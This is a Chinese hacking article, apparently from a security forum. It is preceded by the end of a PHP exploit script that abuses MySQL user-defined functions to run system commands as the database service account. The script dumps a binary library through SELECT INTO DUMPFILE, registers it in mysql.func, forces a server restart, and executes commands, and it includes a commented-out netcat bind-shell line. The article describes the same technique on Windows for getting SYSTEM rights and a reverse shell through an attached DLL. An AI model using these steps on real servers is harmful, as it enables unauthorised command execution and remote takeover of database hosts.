mysql_select_db(‘my_db’) or print (‘cannot use my_db db, sorry!’);
echo "done….\n";

echo "creating blob table for lib\n";
$query="CREATE TABLE blob_tab (blob_col BLOB);";
$result = mysql_query($query, $link) or print("cannot create blob table for lib\n");
echo "done….\n";

echo "inserting blob table for lib\n";
$query="INSERT into blob_tab values (CONVERT($solib,CHAR));";
$result = mysql_query($query, $link) or print("cannot insert blob for lib\n");
echo "done….\n";

echo "dumping lib in /tmp/libso.so.0…\n";
$query="SELECT blob_col FROM blob_tab INTO DUMPFILE ‘/tmp/libso.so.0′;";
$result = mysql_query($query, $link) or print("cannot dump lib\n");
echo " done….\n";

mysql_select_db(‘mysql’) or die (‘cannot use mysql db, sorry!’);
echo "sending lib….\n";

$query="insert into func (name,dl) values (‘do_system’,'/tmp/libso.so.0′);";
$result = mysql_query($query, $link);
echo "done….\n";
echo "Creating exit function to restart server\n";

$query="create function exit returns integer soname ‘libc.so.6′;";
$result = mysql_query($query, $link) or print ("cannot create exit, sorry!\n");
echo "done….\n";
echo "Selecting exit function\n";

$query="select exit();";
$result = mysql_query($query, $link);
echo "done!\nWaiting for server to restart\n";

sleep(1);

$link=mysql_connect("127.0.0.1","root",$pass);
if (!$link) {
  die(‘Could not connect: ‘ . mysql_error());
}
echo "Connected to MySql server again…\n";

//$cmd =’/usr/sbin/nc -l -p 8000 -e /bin/bash’;
$cmd =’id >/tmp/id’;
echo "Sending Command…$cmd\n";
$query="select do_system(‘$cmd’);";
$result = mysql_query($query, $link);
echo "done!\n";
echo "Now use your fav shell and ls /tmp/id -l \n";
mysql_close($link);

?>

                                         \Mix_AT_ph4nt0m.Org

    欢迎访问幻影PST网站 www.ph4nt0m.org !欢迎访问笔者的个人主页www.spking.com !前段时间出了两个关于MySQL的漏洞《MySQL CREATE FUNCTION功能mysql.func表允许注入任意函数库漏洞》、《MySQL CREATE FUNCTION功能libc函数库允许执行任意代码漏洞》,仔细研究这两个漏洞后,可以得知MySQL的两大功能:

²  第一:可以通过MySQL上传二进制文件,例如自己编写的UDF DLL

²  第二:可以通过注册UDF DLL中自写的Function而执行任意命令。

    注意了,这里说的这两大功能都是MySQL自身的功能,而不是漏洞,本文的编写目的也不是研究上述两个漏洞,而是为了通过解析MySQL的自身功能实现在Windows环境下利用MySQLSYSTEM身份执行系统命令的方法。

野史

通过MySQL上传二进制文件在漏洞公告以前,据笔者的了解国内是没有太多人知道的(PS:希望没有太多的西红柿和鸡蛋,呵呵),从当年在灰色轨迹论坛兴起对MySQL弱密码进行攻击到漏洞公告出现以前,都只是用MySQL来上传文本文件做WebShell或启动组的BATVBS等。

    通过注册UDF DLL中自写的Function执行任意命令,这个技术是很早就有人知道,但是没有完全公开,作为后门的一种方法只在私下传播的(PS:同样希望没有太多的西红柿和鸡蛋,呵呵)。

    笔者在去年200409月份写那个MySQL注射工具phprf的时候花了大半天的工夫已经把通过上传二进制文件的方法找到了,和漏洞公告中提到的方法有点如出一辙的感觉,而通过自写的UDF DLL执行任意命令这件事情却是最近才知道。漏洞公告出来以后,花了23个小时找了找UDF DLL的资料自己写了个DLL、再测试了一下,没有什么技术难点。另外,由于MySQLWindows平台下都是以系统服务的形式启动的,而且很少有人修改其启动帐号,结合MySQL的这两大功能就能够利用MySQLSYSTEM身份执行系统命令了。

 

 

 

上传二进制文件

    下面通过两个表格来说明漏洞公告中的上传方法和笔者自己研究的上传方法。



$solib="0x7f454c46010101000000000000…………..定义二进制数据(十六进制表示)


CREATE TABLE blob_tab (blob_col BLOB);

建立数据表以存放二进制数据


INSERT into blob_tab values (CONVERT($solib,CHAR));

将二进制数据存放到表中



SELECT blob_col FROM blob_tab INTO DUMPFILE ‘/tmp/libso.so.0′;

导出二进制数据为文件

1 漏洞公告的上传方法

 

 

 


set @a = concat(”,0×4d5a900003000000);

"set @a = concat(@a,0×04000000ffff0000b80000000);

……

定义二进制数据(十六进制表示)


create table Mix(data LONGBLOB);

建立数据表以存放二进制数据


insert into Mix values("");update Mix set data = @a;

将二进制数据存放到表中


select data from Mix into DUMPFILE ‘C:\\Winnt\\Mix.dll’;

导出二进制数据为文件

2 笔者的上传方法

    两个表格中的二进制数据就是自己编写的那个UDF DLL的二进制数据。

漏洞公告中的上传方法是需要在PHP程序中实现的,手工使用MySQL客户端登陆则无法实现,而笔者的上传方法可以通过MySQL客户端登陆手工实现,谁优谁劣就不用讨论了,两个方法综合一下效果更好。

 

 

 

 

 

 

注册Function执行命令

    想要自己编写UDF DLL的同志们,最简单的方法是下载MySQL的源代码,里面有个udf_example,下面笔者只做一些简单介绍了:

extern "C" {…}//定义Function的函数,一个规范的Function至少有三个函数

Mix()//必需的主函数,用于处理该Function的事务流,反连的代码就写在这个里面

Mix_init()//可选,初始化函数,一般用作检查用户输入的参数

Mix_deinit()//可选,当Function退出时做后期处理

    还要详细的资料可以参考:http://netlab.cse.yzu.edu.tw/~statue/cfc/docs/mysqldoc_big5/manual_Adding_functions.html有点编程功底的都应该看得懂udf_example的源代码,编译之前不要忘记修改udf_example.def哦,呵呵!

 

 

 

附件中带了一个笔者的DLL,操作后可以反连回来一个Shell。在MySQL客户端中需要执行的命令是:

CREATE FUNCTION Mixconnect RETURNS STRING SONAME ‘C:\\Winnt\\Mix.dll’;/*注意修改文件地址

select Mixconnect(‘127.0.0.1′,’886′);/*注意修改反连回来的IP地址和端口号

 

 

 我自己也写了一篇,自认为写的更好~以后贴上~